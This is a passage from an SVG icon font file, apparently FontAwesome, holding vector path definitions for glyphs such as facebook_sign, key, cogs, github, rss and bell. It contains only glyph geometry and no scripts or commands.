q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
q224 0 351 -124t127 -344z" />
    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="signin" unicode="&#xf090;" 
d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
    <glyph glyph-name="github_sign" unicode="&#xf092;" 
d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
    <glyph glyph-name="github" unicode="&#xf09b;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
t316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
q187 -186 294 -425.5t120 -501.5z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
